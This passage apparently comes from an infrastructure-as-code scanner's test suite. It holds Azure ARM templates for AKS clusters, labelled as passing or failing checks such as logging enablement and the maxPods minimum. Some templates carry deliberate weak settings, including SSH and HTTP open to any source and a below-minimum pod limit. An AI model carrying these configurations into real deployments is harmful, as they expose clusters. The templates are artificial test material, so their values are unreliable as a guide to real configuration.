\"commandToExecute\": \"[concat('./', variables('_extensionScript'), ' --app_id \\\"', parameters('servicePrincipalAppId'), '\\\" --app_key \\\"', parameters('servicePrincipalAppKey'), '\\\" --subscription_id \\\"', subscription().subscriptionId, '\\\" --tenant_id \\\"', subscription().tenantId, '\\\" --resource_group \\\"', resourceGroup().name, '\\\" --aks_name \\\"', variables('aksName'), '\\\" --jenkins_fqdn \\\"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\\\" --artifacts_location \\\"', variables('_artifactsLocation'), '\\\" --sas_token \\\"', variables('_artifactsLocationSasToken'), '\\\"')]\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"apiVersion\": \"2016-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.89.0.0/16\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"10.89.0.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('nicName')]\",\n      \"apiVersion\": \"2016-09-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIpAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('jenkinsDnsPrefix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"name\": \"[variables('frontEndNSGName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-ssh\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"22\"\n            }\n          },\n          {\n            \"name\": \"allow-jenkins-http\",\n            \"properties\": {\n              \"priority\": 1001,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"80\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-08-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('aksName')]\",\n      \"properties\": {\n        \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n        \"dnsPrefix\": \"[variables('aksDnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"count\": 2,\n            \"vmSize\": \"[parameters('virtualMachineSize')]\",\n            \"osType\": \"Linux\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                \"keyData\": \"[parameters('sshPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"ClientId\": \"[parameters('servicePrincipalAppId')]\",\n          \"Secret\": \"[parameters('servicePrincipalAppKey')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"admin_username\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    },\n    \"jenkins_vm_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    },\n    \"jenkins_url\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"SSH\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"kubernetes_master_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLoggingEnabled/aksLoggingEnabled-FAILED3.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"aksClusterName\": {\n            \"type\": \"string\",\n            \"minLength\": 3,\n            \"maxLength\": 31,\n            \"metadata\": {\n                \"description\": \"Required. AKS Cluster Name.\"\n            }\n        },\n        \"dnsPrefix\": {\n            \"type\": \"string\",\n            \"minLength\": 3,\n            \"maxLength\": 45,\n            \"metadata\": {\n                \"description\": \"Required. DNS prefix to use with hosted Kubernetes API server FQDN.\"\n            }\n        },\n        \"agentOSDiskSizeGb\": {\n            \"defaultValue\": 0,\n            \"minValue\": 0,\n            \"maxValue\": 1023,\n            \"type\": \"int\",\n            \"metadata\": {\n                \"description\": \"Optional. Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n            }\n        },\n        \"agentOSType\": {\n            \"defaultValue\": \"Linux\",\n            \"allowedValues\": [\n                \"Linux\",\n                \"Windows\"\n            ],\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Optional. The type of operating system.\"\n            }\n        },\n        \"agentCount\": {\n            \"defaultValue\": 3,\n            \"minValue\": 1,\n            \"maxValue\": 50,\n            \"type\": \"int\",\n            \"metadata\": {\n                \"description\": \"Optional. The number of agent nodes for the cluster.\"\n            }\n        },\n        \"agentVMSize\": {\n            \"defaultValue\": \"Standard_D2_v2\",\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Optional. The size of the Virtual Machine.\"\n            }\n        },\n        \"servicePrincipalClientId\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"Required. Server Principal Client ID for AKS to securely interact with Azure to create resources.\"\n            }\n        },\n        \"servicePrincipalClientSecret\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"Required. Service Principal Client Secret for AKS to securely interact with Azure to create resources.\"\n            }\n        },\n        \"kubernetesVersion\": {\n            \"defaultValue\": \"1.13.10\",\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Optional. The version of Kubernetes. Always use the latest version of Kubernetes. Refer - https://docs.microsoft.com/en-us/azure/aks/supported-kubernetes-versions\"\n            }\n        },\n        \"networkPlugin\": {\n            \"defaultValue\": \"azure\",\n            \"allowedValues\": [\n                \"azure\",\n                \"kubenet\"\n            ],\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Optional. Network plugin used for building Kubernetes network.\"\n            }\n        },\n        \"enableRBAC\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\",\n            \"metadata\": {\n                \"description\": \"Optional. Boolean flag to turn on and off of RBAC. The RBAC for AKS is separate from Azure RBAC. Enabling RBAC on AKS allows role based access control using kubectl.\"\n            }\n        },\n        \"vNetId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. Resource ID of virtual network used for nodes and/or pods IP assignment.\"\n            }\n        },\n        \"subnetName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. Resource Name of subnet used for nodes and/or pods IP assignment. Make sure your subnet CIDR allows the number of nodes you specify.\"\n            }\n        },\n        \"serviceCIDR\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. A CIDR notation IP range from which to assign to internal services in your cluster. Does not overlap with the VNet CIDR and must be smaller than /12.\"\n            }\n        },\n        \"dnsServiceIp\": {\n            \"defaultValue\": \"172.17.0.10\",\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. Containers DNS server IP address. Must be within the address range of serviceCIDR. Don't use the first IP address in your address range such as .1\"\n            }\n        },\n        \"dockerBridgeCIDR\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. A CIDR notation IP of IP address used as the Docker bridge IP on nodes. This CIDR is tied to the number of containers on the node. Default of 172.17.0.1/16.\"\n            }\n        },\n        \"logAnalyticsResourceId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. Resource ID containing the insights\"\n            }\n        },\n        \"diagnosticsEventHubName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\",\n            \"metadata\": {\n                \"description\": \"Optional. Event Hub Name for the diagnostics events\"\n            }\n        },\n        \"diagnosticsEventHubAuthRuleId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n              \"description\": \"Required. Resource ID of the event hub authorization rule for the Event Hubs namespace in which the event hub should be created or streamed to.\"\n            }\n        },\n        \"diagnosticsStorageId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. Storage account for the diagnostics events\"\n            }\n        },\n        \"rbacServerAppId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. RBAC server app id\"\n            }\n        },\n        \"rbacServerSecret\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"Required. RBAC server app secret\"\n            }\n        },\n        \"rbacClientAppId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Required. RBAC client app id\"\n            }\n        },\n        \"rbacTenant\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[subscription().tenantId]\",\n            \"metadata\": {\n                \"description\": \"Optional. RBAC tenant\"\n            }\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Optional. The location of AKS resource.\"\n            }\n        }\n    },\n    \"variables\": {\n        \"emptyContent\": {},\n        \"omsAgentConfig\": {\n            \"omsagent\": {\n                \"enabled\": true,\n                \"config\": {\n                    \"logAnalyticsWorkspaceResourceID\": \"[parameters('logAnalyticsResourceId')]\"\n                }\n            }\n        }\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.ContainerService/managedClusters\",\n            \"name\": \"[parameters('aksClusterName')]\",\n            \"apiVersion\": \"2018-03-31\",\n            \"location\": \"[parameters('location')]\",\n            \"tags\": {\n                \"displayName\": \"[concat(parameters('aksClusterName'))]\"\n              },\n            \"properties\": {\n                \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n                \"enableRBAC\": \"[parameters('enableRBAC')]\",\n                \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n                \"agentPoolProfiles\": [\n                    {\n                        \"name\": \"agentpool\",\n                        \"osDiskSizeGb\": \"[parameters('agentOSDiskSizeGb')]\",\n                        \"count\": \"[parameters('agentCount')]\",\n                        \"vmSize\": \"[parameters('agentVMSize')]\",\n                        \"osType\": \"[parameters('agentOSType')]\",\n                        \"storageProfile\": \"ManagedDisks\",\n                        \"vnetSubnetID\": \"[concat(parameters('vNetId'), '/subnets/', parameters('subnetName'))]\"\n                    }\n                ],\n                \"servicePrincipalProfile\": {\n                    \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n                    \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n                },\n                \"networkProfile\": {\n                    \"networkPlugin\": \"[parameters('networkPlugin')]\",\n                    \"serviceCidr\": \"[parameters('serviceCIDR')]\",\n                    \"dnsServiceIP\": \"[parameters('dnsServiceIP')]\",\n                    \"dockerBridgeCidr\": \"[parameters('dockerBridgeCIDR')]\"\n                },\n                \"aadProfile\": {\n                    \"clientAppID\": \"[parameters('rbacClientAppId')]\",\n                    \"serverAppID\": \"[parameters('rbacServerAppId')]\",\n                    \"serverAppSecret\": \"[parameters('rbacServerSecret')]\",\n                    \"tenantID\": \"[parameters('rbacTenant')]\"\n                },\n                \"addonProfiles\": \"[if( empty(parameters('logAnalyticsResourceId')) , variables('emptyContent'), variables('omsAgentConfig'))]\"\n\n            },\n            \"resources\": [\n                {\n                    \"type\": \"Microsoft.ContainerService/managedClusters/providers/diagnosticSettings\",\n                    \"name\": \"[concat(parameters('aksClusterName'), '/Microsoft.Insights/service')]\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))]\"\n                    ],\n                    \"apiVersion\": \"2017-05-01-preview\",\n                    \"properties\": {\n                        \"workspaceId\": \"[parameters('logAnalyticsResourceId')]\",\n                        \"storageAccountId\": \"[parameters('diagnosticsStorageId')]\",\n                        \"eventHubName\": \"[parameters('diagnosticsEventHubName')]\",\n                        \"eventHubAuthorizationRuleId\": \"[parameters('diagnosticsEventHubAuthRuleId')]\",\n                        \"logs\": [\n                            {\n                                \"category\": \"kube-apiserver\",\n                                \"enabled\": true,\n                                \"retentionPolicy\": {\n                                    \"days\": 0,\n                                    \"enabled\": false\n                                }\n                            },\n                            {\n                                \"category\": \"kube-controller-manager\",\n                                \"enabled\": true,\n                                \"retentionPolicy\": {\n                                    \"days\": 0,\n                                    \"enabled\": false\n                                }\n                            },\n                            {\n                                \"category\": \"cluster-autoscaler\",\n                                \"enabled\": true,\n                                \"retentionPolicy\": {\n                                    \"days\": 0,\n                                    \"enabled\": false\n                                }\n                            },\n                            {\n                                \"category\": \"kube-scheduler\",\n                                \"enabled\": true,\n                                \"retentionPolicy\": {\n                                    \"days\": 0,\n                                    \"enabled\": false\n                                }\n                            },\n                            {\n                                \"category\": \"kube-audit\",\n                                \"enabled\": true,\n                                \"retentionPolicy\": {\n                                    \"days\": 0,\n                                    \"enabled\": false\n                                }\n                            }\n                        ],\n                        \"metrics\": [\n                            {\n                                \"timeGrain\": \"PT1M\",\n                                \"enabled\": true,\n                                \"retentionPolicy\": {\n                                    \"enabled\": false,\n                                    \"days\": 0\n                                }\n                            }\n                        ]\n                    }\n                }\n            ],\n            \"dependsOn\": [\n            ]\n        }\n    ],\n    \"outputs\": {\n        \"aksClusterId\": {\n            \"type\": \"string\",\n            \"value\": \"[resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))]\"\n        },\n        \"aksClusterResourceGroup\": {\n            \"type\": \"string\",\n            \"value\": \"[resourceGroup().name]\"\n        },\n        \"aksClusterName\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('aksClusterName')]\"\n        },\n        \"nodeResourceGroupId\": {\n            \"type\": \"string\",\n            \"value\": \"[concat('/subscriptions/', resourceGroup().id, '/resourceGroups/', reference(concat('Microsoft.ContainerService/managedClusters/', parameters('aksClusterName'))).nodeResourceGroup)]\"\n        },\n        \"nodeResourceGroup\": {\n            \"type\": \"string\",\n            \"value\": \"[reference(concat('Microsoft.ContainerService/managedClusters/', parameters('aksClusterName'))).nodeResourceGroup]\"\n        },\n        \"controlPlaneFQDN\": {\n            \"type\": \"string\",\n            \"value\": \"[reference(concat('Microsoft.ContainerService/managedClusters/', parameters('aksClusterName'))).fqdn]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLoggingEnabled/aksLoggingEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[split(parameters('aksResourceId'),'/')[8]]\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSMaxPodsMinimum/agentPoolProfiles_with_maxPods_fail4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n             {\n            \"type\": \"Microsoft.ContainerService/managedClusters\",\n            \"apiVersion\": \"2020-03-01\",\n            \"name\": \"agentPoolProfiles_with_maxPods_fail4\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"Basic\",\n                \"tier\": \"Free\"\n            },\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n                \"dnsPrefix\": \"[variables('dnsPrefix')]\",\n                \"agentPoolProfiles\":[\n                    {\n                        \"name\": \"agentpool\",\n                        \"count\": 3,\n                        \"vmSize\": \"[parameters('agentVMSize')]\",\n                        \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n                        \"maxPods\": 28,\n                        \"type\": \"VirtualMachineScaleSets\",\n                        \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n                        \"mode\": \"System\",\n                        \"osType\": \"Linux\"\n                    }\n                  ]\n                ,\n                \"linuxProfile\": {\n                    \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n                    \"ssh\": {\n                        \"publicKeys\": [\n                            {\n                                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n                            }\n                        ]\n                    }\n                },\n                \"servicePrincipalProfile\": {\n                    \"clientId\": \"msi\"\n                },\n                \"nodeResourceGroup\": \"[concat('MC_', resourceGroup().name,'_', parameters('clusterName'), '_',parameters('location'))]\",\n                \"enableRBAC\": true,\n                \"networkProfile\": {\n                    \"networkPlugin\": \"kubenet\",\n                    \"loadBalancerSku\": \"Basic\",\n                    \"podCidr\": \"[parameters('podCidr')]\",\n                    \"serviceCidr\": \"[parameters('serviceCidr')]\",\n                    \"dnsServiceIP\": \"[parameters('dnsServiceIP')]\",\n                    \"dockerBridgeCidr\": \"[parameters('dockerBridgeCidr')]\",\n                    \"outboundType\": \"loadBalancer\"\n                }\n            }\n        }\n\n\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSMaxPodsMinimum/agentPoolProfiles_with_maxPods_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n\n              {\n            \"type\": \"Microsoft.ContainerService/managedClusters\",\n            \"apiVersion\": \"2020-03-01\",\n            \"name\": \"agentPoolProfiles_with_maxPods_pass\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"Basic\",\n                \"tier\": \"Free\"\n            },\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n                \"dnsPrefix\": \"[variables('dnsPrefix')]\",\n                \"agentPoolProfiles\":[\n                    {\n                        \"name\": \"agentpool\",\n                        \"count\": 3,\n                        \"vmSize\": \"[parameters('agentVMSize')]\",\n                        \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n                        \"maxPods\": 51,\n                        \"type\": \"VirtualMachineScaleSets\",\n                        \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n                        \"mode\": \"System\",\n                        \"osType\": \"Linux\"\n                    }\n                  ],\n                \"linuxProfile\": {\n                    \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n                    \"ssh\": {\n                        \"publicKeys\": [\n                            {\n                                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n                            }\n                        ]\n                    }\n                },\n                \"servicePrincipalProfile\": {\n                    \"clientId\": \"msi\"\n                },\n                \"nodeResourceGroup\": \"[concat('MC_', resourceGroup().name,'_', parameters('clusterName'), '_',parameters('location'))]\",\n                \"enableRBAC\": true,\n                \"networkProfile\": {\n                    \"networkPlugin\": \"kubenet\",\n                    \"loadBalancerSku\": \"Basic\",\n                    \"podCidr\": \"[parameters('podCidr')]\",\n                    \"serviceCidr\": \"[parameters('serviceCidr')]\",\n                    \"dnsServiceIP\": \"[parameters('dnsServiceIP')]\",\n                    \"dockerBridgeCidr\": \"[parameters('dockerBridgeCidr')]\",\n                    \"outboundType\": \"loadBalancer\"\n                }\n            }\n        }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSMaxPodsMinimum/agentPoolProfiles_without_maxPods_fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n              {\n            \"type\": \"Microsoft.ContainerService/managedClusters\",\n            \"apiVersion\": \"2020-03-01\",\n            \"name\": \"agentPoolProfiles_without_maxPods_fail3\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"Basic\",\n                \"tier\": \"Free\"\n            },\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n                \"dnsPrefix\": \"[variables('dnsPrefix')]\",\n                \"agentPoolProfiles\":[\n                    {\n                        \"name\": \"agentpool\",\n                        \"count\": 3,\n                        \"vmSize\": \"[parameters('agentVMSize')]\",\n                        \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n                        \"type\": \"VirtualMachineScaleSets\",\n                        \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n                        \"mode\": \"System\",\n                        \"osType\": \"Linux\"\n                    }\n                  ]\n                ,\n                \"linuxProfile\": {\n                    \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n                    \"ssh\": {\n                        \"publicKeys\": [\n                            {\n                                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n                            }\n                        ]\n                    }\n                },\n                \"servicePrincipalProfile\": 